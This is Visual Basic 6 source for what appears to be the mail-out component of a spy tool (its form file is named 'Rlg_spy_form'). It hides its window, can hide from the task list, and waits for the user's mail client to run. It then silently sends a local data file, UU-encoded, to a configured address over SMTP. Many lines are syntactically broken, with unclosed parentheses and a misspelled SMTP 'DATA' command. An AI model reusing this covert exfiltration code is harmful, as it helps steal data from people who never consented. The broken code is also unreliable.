VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmSendMail
   BorderStyle     =   4  'Fixed ToolWindow
   ClientHeight    =   4395
   ClientLeft      =   45
   ClientTop       =   285
   ClientWidth     =   4665
   Icon            =   "Rlg_spy_form.frx":0000
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   293
   ScaleMode       =   3  'Pixel
   ScaleWidth      =   311
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  'Windows Default
   Begin VB.CommandButton Cmd_путь
      Caption         =   "..."
      Height          =   255
      Left            =   4320
      TabIndex        =   29
      ToolTipText     =   "Обзор"
      Top             =   2220
      Width           =   300
   End
   Begin VB.Timer Timer2
      Enabled         =   0   'False
      Interval        =   30000
      Left            =   1500
      Top             =   -105
   End
   Begin VB.TextBox Txt_name_post
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   2700
      TabIndex        =   28
      Top             =   2715
      Width           =   1935
   End
   Begin VB.CheckBox Chk_wait_post
      Alignment       =   1  'Right Justify
      Caption         =   "Ожидать запуск почтовой программы"
      Height          =   210
      Left            =   30
      TabIndex        =   26
      ToolTipText     =   "Усли видимость на 0 то авто режим"
      Top             =   2505
      Width           =   4530
   End
   Begin VB.CommandButton Cmd_Post
      Caption         =   "Проверка почтовой программы"
      Height          =   450
      Left            =   45
      TabIndex        =   25
      Top             =   3885
      Width           =   2040
   End
   Begin VB.CheckBox Chk_ink_data
      Caption         =   "Check1"
      Height          =   225
      Left            =   4350
      TabIndex        =   24
      ToolTipText     =   "Добавлять к сообщению дату"
      Top             =   1950
      Width           =   255
   End
   Begin VB.CommandButton Cmd_send
      Appearance      =   0  'Flat
      BackColor       =   &H00FFC0C0&
      Caption         =   "Отправляем файл"
      Height          =   450
      Left            =   2160
      MaskColor       =   &H00C0C0FF&
      Style           =   1  'Graphical
      TabIndex        =   23
      Top             =   3885
      Width           =   2460
   End
   Begin VB.CommandButton Cmd_Test
      Caption         =   "Проверка ящика"
      Height          =   330
      Left            =   60
      TabIndex        =   22
      Top             =   3525
      Width           =   2025
   End
   Begin VB.CommandButton Cmd_Save_ini
      Caption         =   "Сохранить настройки"
      Height          =   330
      Left            =   2175
      TabIndex        =   21
      Top             =   3525
      Width           =   2445
   End
   Begin VB.CheckBox Chk_visibl
      Alignment       =   1  'Right Justify
      Caption         =   "Видимость программы для ввода данных ."
      Height          =   210
      Left            =   30
      TabIndex        =   19
      ToolTipText     =   "Усли видимость на 0 то авто режим"
      Top             =   3000
      Width           =   4530
   End
   Begin VB.TextBox Txt_Path_base
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   18
      Top             =   2190
      Width           =   2475
   End
   Begin VB.Timer Timer1
      Enabled         =   0   'False
      Interval        =   15000
      Left            =   1365
      Top             =   -180
   End
   Begin VB.TextBox txtPassword
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      IMEMode         =   3  'DISABLE
      Left            =   1785
      TabIndex        =   14
      Top             =   555
      Width           =   2850
   End
   Begin VB.TextBox txtUserName
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   10
      Top             =   285
      Width           =   2850
   End
   Begin VB.TextBox txtHost2
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   9
      Top             =   30
      Width           =   2850
   End
   Begin MSWinsockLib.Winsock Winsock1
      Left            =   1095
      Top             =   -105
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.TextBox txtMessage
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   300
      Left            =   1785
      TabIndex        =   8
      Top             =   1905
      Width           =   2475
   End
   Begin VB.TextBox txtSubject
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   7
      Top             =   1635
      Width           =   2850
   End
   Begin VB.TextBox txtRecipient
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   6
      Top             =   1365
      Width           =   2850
   End
   Begin VB.TextBox txtSender
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   5
      Top             =   1095
      Width           =   2850
   End
   Begin VB.TextBox txtHost
      Alignment       =   1  'Right Justify
      Appearance      =   0  'Flat
      Height          =   285
      Left            =   1785
      TabIndex        =   4
      Top             =   825
      Width           =   2850
   End
   Begin MSWinsockLib.Winsock Winsock2
      Left            =   855
      Top             =   -135
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Label Label4
      AutoSize        =   -1  'True
      Caption         =   "Имя (часть) почтовой программы:"
      Height          =   195
      Index           =   4
      Left            =   60
      TabIndex        =   27
      Top             =   2760
      Width           =   2595
   End
   Begin VB.Label Label4
      AutoSize        =   -1  'True
      Caption         =   "Статус:"
      Height          =   195
      Index           =   3
      Left            =   60
      TabIndex        =   20
      Top             =   3255
      Width           =   555
   End
   Begin VB.Label Label4
      AutoSize        =   -1  'True
      Caption         =   "Путь к базе:"
      Height          =   195
      Index           =   2
      Left            =   60
      TabIndex        =   17
      Top             =   2265
      Width           =   945
   End
   Begin VB.Label Label4
      AutoSize        =   -1  'True
      Caption         =   "Сообщение:"
      Height          =   195
      Index           =   1
      Left            =   60
      TabIndex        =   16
      Top             =   1995
      Width           =   915
   End
   Begin VB.Label Label5
      Appearance      =   0  'Flat
      BackColor       =   &H80000005&
      BackStyle       =   0  'Transparent
      BorderStyle     =   1  'Fixed Single
      BeginProperty Font
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   204
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00C00000&
      Height          =   255
      Left            =   690
      TabIndex        =   15
      Top             =   3225
      Width           =   3915
   End
   Begin VB.Label Label2
      AutoSize        =   -1  'True
      Caption         =   "Аккаунт Имя"
      Height          =   195
      Index           =   1
      Left            =   60
      TabIndex        =   13
      Top             =   330
      Width           =   990
   End
   Begin VB.Label Label3
      AutoSize        =   -1  'True
      Caption         =   "Аккаунт Пароль"
      Height          =   195
      Index           =   1
      Left            =   60
      TabIndex        =   12
      Top             =   600
      Width           =   1230
   End
   Begin VB.Label Label1
      AutoSize        =   -1  'True
      Caption         =   "Хост PОР3:"
      Height          =   195
      Index           =   1
      Left            =   60
      TabIndex        =   11
      Top             =   60
      Width           =   870
   End
   Begin VB.Label Label4
      AutoSize        =   -1  'True
      Caption         =   "Тема:"
      Height          =   195
      Index           =   0
      Left            =   60
      TabIndex        =   3
      Top             =   1740
      Width           =   450
   End
   Begin VB.Label Label3
      AutoSize        =   -1  'True
      Caption         =   "E-mail адресата:"
      Height          =   195
      Index           =   0
      Left            =   60
      TabIndex        =   2
      Top             =   1455
      Width           =   1215
   End
   Begin VB.Label Label2
      AutoSize        =   -1  'True
      Caption         =   "Ваш E-mail (отправ.):"
      Height          =   195
      Index           =   0
      Left            =   60
      TabIndex        =   1
      Top             =   1155
      Width           =   1530
   End
   Begin VB.Label Label1
      AutoSize        =   -1  'True
      Caption         =   "Хост SMTP:"
      Height          =   195
      Index           =   0
      Left            =   75
      TabIndex        =   0
      Top             =   870
      Width           =   900
   End
End
Attribute VB_Name = "frmSendMail"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Enum SMTP_State
    MAIL_CONNECT
    MAIL_HELO
    MAIL_FROM
    MAIL_RCPTTO
    MAIL_DATA
    MAIL_DOT
    MAIL_QUIT
End Enum
Private m_StateSMTP As SMTP_State

Private Enum POP3States
    POP3_Connect
    POP3_USER
    POP3_PASS
    POP3_STAT
    POP3_RETR
    POP3_DELE
    POP3_QUIT
End Enum
Private m_StatePOP As POP3States

Private m_oMessage  As CMessage
Private m_colMessages   As New CMessages
Private m_strEncodedFiles As String


Dim SMPT_Host_Name As String
Dim SMPT_Otpravitel_Mail As String
Dim SMPT_Poluchatel_Mail As String
Dim SMPT_Thema_mail As String
Dim SMPT_Message_Mail As String

Dim POP3_Host_Name As String
Dim POP3_UserName As String
Dim POP3_UserPassword As String

Dim Kolvo_popytok_soedinenia As Integer
Dim Kolvo_popytok_proverki_outlook As Integer

Dim path_base_rlg As String
Dim outlook_started As Boolean


Dim name_post_prog As String
Dim wait_post_prog As Boolean


 '  проверяем запущена ли почтовая программа
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetNextWindow Lib "user32" Alias "GetWindow" (ByVal hwnd As Long, ByVal wFlag As Long) As Long
 '  проверяем запущена ли почтовая программа

        ' скрываем программу
        Private Declare Function RegisterServiceProcess Lib _
        "kernel32.dll" (ByVal dwProcessId As Long, ByVal _
        dwType As Long) As Long
        ' скрываем программу



Private Sub Получаем() '      переход к проверке почты
    m_StatePOP = POP3_Connect  'подключаемся к РОР серверу и проходим аутентификацию
    Winsock2.Close
    Winsock2.LocalPort = 0
    Winsock2.Connect POP3_Host_Name, 110
'        Winsock2.Close

End Sub

Private Sub Передаем() '  переход к передаче почты

'    Winsock1.Close

    Winsock1.Connect SMPT_Host_Name, 25              '    открываем порт
    m_StateSMTP = MAIL_CONNECT                                      '     передаем
    m_strEncodedFiles = m_strEncodedFiles & UUEncodeFile("C:\tmpdat.dat" & vbCrLf  '  путь к передаваемому файлу
'        Winsock1.Close

End Sub



Private Sub Cmd_Post_Click()
Проверяем_почтовую_программу
End Sub

Private Sub Cmd_Save_ini_Click()
    Запись_INI "acc", "smpt_host", txtHost.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "smpt_out_mail", txtSender.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "smpt_in_mail", txtRecipient.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "smpt_theme", txtSubject.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "smpt_mess", txtMessage.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "pop_host", txtHost2.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "pop_name", txtUserName.Text, App.Path & "\mix.cfg"
    Запись_INI "acc", "pop_pass", txtPassword.Text, App.Path & "\mix.cfg"
    Запись_INI "remo", "rem_path", Txt_Path_base.Text, App.Path & "\mix.cfg"
    Запись_INI "cfg", "vis", Chk_visibl.Value, App.Path & "\mix.cfg"
    Запись_INI "acc", "auto", Chk_ink_data.Value, App.Path & "\mix.cfg"
    Запись_INI "acc", "waitpost", Chk_wait_post.Value, App.Path & "\mix.cfg"
    Запись_INI "acc", "namepost", Txt_name_post.Text, App.Path & "\mix.cfg"

End Sub

Private Sub Cmd_send_Click()
    Передаем
End Sub

Private Sub Cmd_Test_Click()
    Получаем
End Sub

Private Sub Cmd_путь_Click()
Txt_Path_base = SelectDir(Me.hwnd, "Выберете каталог", 0)

End Sub

Private Sub Form_Load()
If App.PrevInstance Then End ' блокируем повторный запуск программы
'        RegisterServiceProcess 0, 1 ' скрываем программу от менеджера программ

Kolvo_popytok_soedinenia = 0
Kolvo_popytok_proverki_outlook = 0
' Загружаем переменные
If Val(Читаем_INI("cfg", "vis", App.Path & "\mix.cfg") = 1 Then
frmSendMail.Visible = True
Else
frmSendMail.Visible = False
End If



    SMPT_Host_Name = Читаем_INI("acc", "smpt_host", App.Path & "\mix.cfg"
    SMPT_Otpravitel_Mail = Читаем_INI("acc", "smpt_out_mail", App.Path & "\mix.cfg"
    SMPT_Poluchatel_Mail = Читаем_INI("acc", "smpt_in_mail", App.Path & "\mix.cfg"
    SMPT_Thema_mail = Читаем_INI("acc", "smpt_theme", App.Path & "\mix.cfg"
    SMPT_Message_Mail = Читаем_INI("acc", "smpt_mess", App.Path & "\mix.cfg"
   
    txtHost = SMPT_Host_Name                         '  имя smpt хоста например smpt.lesa.ru
    txtSender = SMPT_Otpravitel_Mail                 '    от кого посылаем
    txtRecipient = SMPT_Poluchatel_Mail       '        кому посылаем
    txtSubject = SMPT_Thema_mail                             '           тема письма
If Val(Читаем_INI("acc", "auto", App.Path & "\mix.cfg") = 1 Then
    txtMessage = SMPT_Message_Mail & "   " & Format(Now, "dd.mm.yy"     '                содержание
    SMPT_Message_Mail = txtMessage
Else
    txtMessage = SMPT_Message_Mail       '                содержание
End If

    POP3_Host_Name = Читаем_INI("acc", "pop_host", App.Path & "\mix.cfg"
    POP3_UserName = Читаем_INI("acc", "pop_name", App.Path & "\mix.cfg"
    POP3_UserPassword = Читаем_INI("acc", "pop_pass", App.Path & "\mix.cfg"
    
    txtHost2 = POP3_Host_Name
    txtUserName = POP3_UserName
    txtPassword = POP3_UserPassword
    
    path_base_rlg = Читаем_INI("remo", "rem_path", App.Path & "\mix.cfg"
 Chk_ink_data.Value = Val(Читаем_INI("acc", "auto", App.Path & "\mix.cfg")
 Chk_wait_post.Value = Val(Читаем_INI("acc", "waitpost", App.Path & "\mix.cfg")
wait_post_prog = Val(Читаем_INI("acc", "waitpost", App.Path & "\mix.cfg")
 name_post_prog = Читаем_INI("acc", "namepost", App.Path & "\mix.cfg"
Txt_name_post = name_post_prog
   
    
    
    
    
    Txt_Path_base.Text = path_base_rlg
    
 Chk_visibl.Value = Val(Читаем_INI("cfg", "vis", App.Path & "\mix.cfg")
     
If Val(Читаем_INI("cfg", "vis", App.Path & "\mix.cfg") = 0 Then 'если программа невидима работаем в авто режиме
If wait_post_prog = True Then
Проверяем_почтовую_программу
Else
    Получаем
    Передаем
End If
End If
  
End Sub


Private Sub Timer1_Timer()
Timer1.Enabled = False  '   если отправить не получилось ждем 15 сек и повторяем
Label5.Caption = "Письмо не отправлено, повторяем получение"
    Получаем
    Передаем
    Kolvo_popytok_soedinenia = Kolvo_popytok_soedinenia + 1
    If Kolvo_popytok_soedinenia > 10 Then Unload Me '   если после 10 попыток не удалось отправить, выходим..
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim strServerResponse   As String
    Dim strResponseCode     As String
    Dim strDataToSend       As String
    Winsock1.GetData strServerResponse
                                Debug.Print strServerResponse
    strResponseCode = Left(strServerResponse, 3)
    '  получаем код отклика сервера
    If strResponseCode = "250" Or _
       strResponseCode = "220" Or _
       strResponseCode = "354" Then
        Select Case m_StateSMTP
            Case MAIL_CONNECT
                m_StateSMTP = MAIL_HELO
                strDataToSend = Trim$(SMPT_Otpravitel_Mail)
                strDataToSend = Left$(strDataToSend, InStr(1, strDataToSend, "@" - 1)
                Winsock1.SendData "HELO " & strDataToSend & vbCrLf
                Debug.Print "HELO " & strDataToSend
            Case MAIL_HELO
                m_StateSMTP = MAIL_FROM
                Winsock1.SendData "MAIL FROM:" & Trim$(SMPT_Otpravitel_Mail) & vbCrLf
                Debug.Print "MAIL FROM:" & Trim$(SMPT_Otpravitel_Mail)
            Case MAIL_FROM
                m_StateSMTP = MAIL_RCPTTO
                Winsock1.SendData "RCPT TO:" & Trim$(SMPT_Poluchatel_Mail) & vbCrLf
                Debug.Print "RCPT TO:" & Trim$(SMPT_Poluchatel_Mail)
            Case MAIL_RCPTTO
                m_StateSMTP = MAIL_DATA
                Winsock1.SendData "ATA" & vbCrLf
                Debug.Print "ATA"
            Case MAIL_DATA
                m_StateSMTP = MAIL_DOT
                Winsock1.SendData "Subject:" & SMPT_Thema_mail & vbLf & vbCrLf
                Debug.Print "Subject:" & SMPT_Thema_mail
                Dim varLines    As Variant
                Dim varLine     As Variant
                Dim strMessage  As String
                strMessage = SMPT_Message_Mail & vbCrLf & vbCrLf & m_strEncodedFiles
                m_strEncodedFiles = ""
                'Parse message to get lines (for VB6 only)
                varLines = Split(strMessage, vbCrLf)
                'clear memory
                strMessage = ""
                 For Each varLine In varLines
                    Winsock1.SendData CStr(varLine) & vbLf
                    Debug.Print CStr(varLine)
                Next
                Winsock1.SendData "." & vbCrLf
                Debug.Print "."
            Case MAIL_DOT
                m_StateSMTP = MAIL_QUIT
                Winsock1.SendData "QUIT" & vbCrLf
                Debug.Print "QUIT"
            Case MAIL_QUIT
                Winsock1.Close
        End Select
    Else
        Winsock1.Close
        If Not m_StateSMTP = MAIL_QUIT Then         '  ошибка аутентификации сперва требуется получить почту   переход к ожиданию повтора
                    Label5.Caption = "Письмо не отправлено."
                    Timer1.Enabled = True          '   ожидание повтора
        Else
            Label5.Caption = "Письмо отправлено."
             Unload Me
            End If
    End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Unload Me
End Sub
Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Unload Me
End Sub



Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)


    Dim strData As String
    Static intMessages          As Integer
    Static intCurrentMessage    As Integer
    Static strBuffer            As String
    Winsock2.GetData strData
    Debug.Print strData
    If Left$(strData, 1) = "+" Or m_StatePOP = POP3_RETR Then
        Select Case m_StatePOP
            Case POP3_Connect
                intMessages = 0
                m_StatePOP = POP3_USER
                Winsock2.SendData "USER " & POP3_UserName & vbCrLf
                Debug.Print "USER " & POP3_UserName
            Case POP3_USER
                m_StatePOP = POP3_PASS
                Winsock2.SendData "PASS " & POP3_UserPassword & vbCrLf
                Debug.Print "PASS " & POP3_UserPassword
            Case POP3_PASS
                m_StatePOP = POP3_STAT
                Winsock2.SendData "STAT" & vbCrLf
                Debug.Print "STAT"
            Case POP3_STAT
                intMessages = CInt(Mid$(strData, 5, _
                              InStr(5, strData, " " - 5))
                If intMessages > 0 Then
                    m_StatePOP = POP3_RETR
                    intCurrentMessage = intCurrentMessage + 1
                    Winsock2.SendData "RETR 1" & vbCrLf
                    Debug.Print "RETR 1"
                    Label5.Caption = "В ящике есть письма."
                Else
                    m_StatePOP = POP3_QUIT
                    Winsock2.SendData "QUIT" & vbCrLf
                    Debug.Print "QUIT"
                    Label5.Caption = "Ящик пустой."
                End If
            Case POP3_RETR
                strBuffer = strBuffer & strData
                If InStr(1, strBuffer, vbLf & "." & vbCrLf) Then
                    strBuffer = Mid$(strBuffer, InStr(1, strBuffer, vbCrLf) + 2)
                    strBuffer = Left$(strBuffer, Len(strBuffer) - 3)
                    Set m_oMessage = New CMessage
                    m_oMessage.CreateFromText strBuffer
                    m_colMessages.Add m_oMessage, m_oMessage.MessageID
                    Set m_oMessage = Nothing
                    strBuffer = ""
                    If intCurrentMessage = intMessages Then
                        m_StatePOP = POP3_QUIT
                        Winsock2.SendData "QUIT" & vbCrLf
                        Debug.Print "QUIT"
                    Else
                        intCurrentMessage = intCurrentMessage + 1
                        m_StatePOP = POP3_RETR
                        Winsock2.SendData "RETR " & _
                        CStr(intCurrentMessage) & vbCrLf
                        Debug.Print "RETR " & intCurrentMessage
                    End If
                End If
            Case POP3_QUIT
                Winsock2.Close
'                Call ListMessages
        End Select
    Else
            Winsock2.Close
                    Label5.Caption = "Не могу получить почту. Ошибка."
    End If
End Sub

 '  проверяем запущена ли почтовая программа

Public Function GetCaption(lhWnd As Long) As String
Dim sA As String, lLen As Long
lLen = GetWindowTextLength(lhWnd)
sA = String(lLen, 0)
Call GetWindowText(lhWnd, sA, lLen + 1)
GetCaption = sA
End Function
Public Function DLHFindWin(frm As Form, WinTitle As String, CaseSensitive As Boolean) As Long
Dim lhWnd As Long, sA As String
lhWnd = frm.hwnd
Do
DoEvents
If lhWnd = 0 Then Exit Do
If CaseSensitive = False Then
sA = LCase(GetCaption(lhWnd))
WinTitle = LCase(WinTitle)
Else
sA = GetCaption(lhWnd)
End If
If InStr(sA, WinTitle) Then
DLHFindWin = lhWnd
Exit Do
Else
DLHFindWin = 0
End If
lhWnd = GetNextWindow(lhWnd, 2)
Loop
End Function
 '  проверяем запущена ли почтовая программа


Private Sub Проверяем_почтовую_программу()
If DLHFindWin(Me, name_post_prog, False) > 0 Then outlook_started = True Else outlook_started = False
If outlook_started = True Then Label5.Caption = "Outlook express работает" Else Label5.Caption = "Outlook express не работает"
If outlook_started = False Then Timer2.Enabled = True          '   ожидание запуска Outlook express


End Sub

Private Sub Timer2_Timer()
Timer1.Enabled = False  '   если Outlook express не работает ждем 30 сек и проверяем опять
Kolvo_popytok_proverki_outlook = Kolvo_popytok_proverki_outlook + 1
    If Kolvo_popytok_soedinenia > 480 Then     '   если после 4 часов Outlook express не запущен пробуем отослать почту
Получаем ' получаем почту с целью открыть ящик для отправки
Передаем
    End If
End Sub

Option Explicit
'   Работаем с INI файлами
Public Declare Function Записываем_строку_в_файл_INI Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Public Declare Function Получаем_строку_из_файла_INI Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Public Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long


Declare Function SHBrowseForFolder Lib "shell32.dll" (BInfo As BrowseInfo) As Long
Declare Function SHGetPathFromIDList Lib "shell32.dll" (ByVal List As Long, ByVal Buffer As String) As Long
Declare Function lstrcat Lib "kernel32.dll" Alias "lstrcatA" (ByVal String1 As String, ByVal String2 As String) As Long
Private Type BrowseInfo
    Owner As Long
    ListRoot As Long
    isplayName As Long
    Title As Long
    Flags As Long
    CallBack As Long
    Param As Long
    Image As Long
End Type



'   запись данных в ini файл
Function Запись_INI(Секция_INI As String, Ключ_INI As String, Значение_INI As String, Путь_INI As String) As Boolean
    On Local Error Resume Next
        Call Записываем_строку_в_файл_INI(Секция_INI, Ключ_INI, Значение_INI, Путь_INI)
    Запись_INI = (Err.Number = 0)
End Function

'   чтение данных из ini файла
Function Читаем_INI(Секция_INI As String, Ключ_INI As String, Путь_INI As String) As String
    On Local Error Resume Next
        Dim Символ_перевода_строки As String
            Символ_перевода_строки = String(255, Chr(0))
                Читаем_INI = Left(Символ_перевода_строки, Получаем_строку_из_файла_INI(Секция_INI, ByVal Ключ_INI, "", Символ_перевода_строки, Len(Символ_перевода_строки), Путь_INI))
End Function

Public Function UUEncodeFile(strFilePath As String) As String

    Dim intFile         As Integer      'file handler
    Dim intTempFile     As Integer      'temp file
    Dim lFileSize       As Long         'size of the file
    Dim strFileName     As String       'name of the file
    Dim strFileData     As String       'file data chunk
    Dim lEncodedLines   As Long         'number of encoded lines
    Dim strTempLine     As String       'temporary string
    Dim i               As Long         'loop counter
    Dim j               As Integer      'loop counter
    
    Dim strResult       As String
    '
    'Get file name
    strFileName = Mid$(strFilePath, InStrRev(strFilePath, "\" + 1)
    '
    'Insert first marker: "begin 664 ..."
    strResult = "begin 664 " + strFileName + vbLf
    '
    'Get file size
    If Dir$(strFilePath) = "" Then Exit Function
    lFileSize = FileLen(strFilePath)
    lEncodedLines = lFileSize \ 45 + 1
    '
    'Prepare buffer to retrieve data from
    'the file by 45 symbols chunks
    strFileData = Space(45)
    '
    intFile = FreeFile
    '
    Open strFilePath For Binary As intFile
        For i = 1 To lEncodedLines
            'Read file data by 45-bytes cnunks
            '
            If i = lEncodedLines Then
                'Last line of encoded data often is not
                'equal to 45, therefore we need to change
                'size of the buffer
                strFileData = Space(lFileSize Mod 45)
            End If
            'Retrieve data chunk from file to the buffer
            Get intFile, , strFileData
            'Add first symbol to encoded string that informs
            'about quantity of symbols in encoded string.
            'More often "M" symbol is used.
            strTempLine = Chr(Len(strFileData) + 32)
            '
            If i = lEncodedLines And (Len(strFileData) Mod 3) Then
                'If the last line is processed and length of
                'source data is not a number divisible by 3, add one or two
                'blankspace symbols
                strFileData = strFileData + Space(3 - (Len(strFileData) Mod 3))
            End If
            
            For j = 1 To Len(strFileData) Step 3
                'Breake each 3 (8-bits) bytes to 4 (6-bits) bytes
                '
                '1 byte
                strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j, 1)) \ 4 + 32)
                '2 byte
                strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j, 1)) Mod 4) * 16 _
                               + Asc(Mid(strFileData, j + 1, 1)) \ 16 + 32)
                '3 byte
                strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j + 1, 1)) Mod 16) * 4 _
                               + Asc(Mid(strFileData, j + 2, 1)) \ 64 + 32)
                '4 byte
                strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j + 2, 1)) Mod 64 + 32)
            Next j
            'replace " " with "`"
            strTempLine = Replace(strTempLine, " ", "`"
            'add encoded line to result buffer
            strResult = strResult + strTempLine + vbLf
            'reset line buffer
            strTempLine = ""
        Next i
    Close intFile

    'add the end marker
    strResult = strResult & "`" & vbLf + "end" + vbLf
    'asign return value
    UUEncodeFile = strResult
    
End Function

Function SelectDir(SelectDirProgramHWND As Long, Caption As String, SelectDirFlags As Long) As String
On Error Resume Next
Dim DList As Long
Dim Buffer As String
Dim BI As BrowseInfo

With BI
    .Owner = SelectDirProgramHWND
    .Title = lstrcat(Caption, ""
    .Flags = SelectDirFlags
End With

DList = SHBrowseForFolder(BI)

If (DList) Then
    Buffer = Space(260)
    SHGetPathFromIDList DList, Buffer
    Buffer = Left(Buffer, InStr(Buffer, vbNullChar) - 1)
    If Len(Buffer) > 0 Then
        If Right(Buffer, 1) = "\" Then
            SelectDir = Buffer
        Else
            SelectDir = Buffer + "\"
        End If
    End If
End If
End Function

'local variables to hold property values
Private m_strReturnPath      As String
Private m_strReceived        As String
Private m_strSendDate        As String
Private m_strMessageID       As String
Private m_strMessageTo       As String
Private m_strFrom            As String
Private m_strSubject         As String
Private m_strReplyTo         As String
Private m_strSender          As String
Private m_strCC              As String
Private m_strBCC             As String
Private m_strInReplyTo       As String
Private m_strReferences      As String
Private m_strKeywords        As String
Private m_strComments        As String
Private m_strEncrypted       As String
Private m_strMessageText     As String
Private m_strMessageBody     As String
Private m_strHeaders         As String
Private m_lSize              As Long

Public Sub CreateFromText(strMessage As String)

    Dim intPosA         As Integer
    Dim vHeaders        As Variant
    Dim vField          As Variant
    Dim strHeader       As String
    Dim strHeaderName   As String
    Dim strHeaderValue  As String
    
    intPosA = InStr(1, strMessage, vbCrLf & vbCrLf)
    If intPosA Then
        m_strHeaders = Left$(strMessage, intPosA - 1)
        m_strMessageBody = Right$(strMessage, Len(strMessage) - intPosA - 3)
        m_strMessageText = strMessage
    Else
        Err.Raise vbObjectError + 512 + 101, "CMessage.CreateFromText", _
                    "Invalid message format"
        Exit Sub
    End If
    
    vHeaders = Split(m_strHeaders, vbCrLf)
    For Each vField In vHeaders
        strHeader = CStr(vField)
        intPosA = InStr(1, strHeader, ":"
        If intPosA Then
            strHeaderName = LCase(Left$(strHeader, intPosA - 1))
        Else
            strHeaderName = ""
        End If
        strHeaderValue = Trim$(Right$(strHeader, Len(strHeader) - intPosA))
        Select Case strHeaderName
            Case "return-path"
                m_strReturnPath = strHeaderValue
            Case "received"
                m_strReceived = strHeaderValue
            Case "from"
                m_strFrom = strHeaderValue
            Case "sender"
                m_strSender = strHeaderValue
            Case "reply-to"
                m_strReplyTo = strHeaderValue
            Case "to"
                m_strMessageTo = strHeaderValue
            Case "cc"
                m_strCC = strHeaderValue
            Case "bcc"
                m_strBCC = strHeaderValue
            Case "message-id"
                m_strMessageID = strHeaderValue
            Case "in-reply-to"
                m_strInReplyTo = strHeaderValue
            Case "references"
                m_strReferences = strHeaderValue
            Case "keywords"
                m_strKeywords = strHeaderValue
            Case "subject"
                m_strSubject = strHeaderValue
            Case "comments"
                m_strComments = strHeaderValue
            Case "encrypted"
                m_strEncrypted = strHeaderValue
            Case "date"
                m_strSendDate = strHeaderValue
        End Select
    Next
    
End Sub


Public Function CombineMessage() As String

End Function


Public Property Let Headers(ByVal vData As String)
    m_strHeaders = vData
End Property


Public Property Get Headers() As String
    Headers = m_strHeaders
End Property

Public Property Let MessageBody(ByVal vData As String)
    m_strMessageBody = vData
End Property

Public Property Get MessageBody() As String
    MessageBody = m_strMessageBody
End Property

Public Property Let MessageText(ByVal vData As String)
    m_strMessageText = vData
End Property

Public Property Get MessageText() As String
    MessageText = m_strMessageText
End Property

Public Property Let Encrypted(ByVal vData As String)
    m_strEncrypted = vData
End Property

Public Property Get Encrypted() As String
    Encrypted = m_strEncrypted
End Property

Public Property Let Comments(ByVal vData As String)
    m_strComments = vData
End Property

Public Property Get Comments() As String
    Comments = m_strComments
End Property

Public Property Let Keywords(ByVal vData As String)
    m_strKeywords = vData
End Property

Public Property Get Keywords() As String
    Keywords = m_strKeywords
End Property

Public Property Let References(ByVal vData As String)
    m_strReferences = vData
End Property

Public Property Get References() As String
    References = m_strReferences
End Property

Public Property Let InReplyTo(ByVal vData As String)
    m_strInReplyTo = vData
End Property

Public Property Get InReplyTo() As String
    InReplyTo = m_strInReplyTo
End Property

Public Property Let BCC(ByVal vData As String)
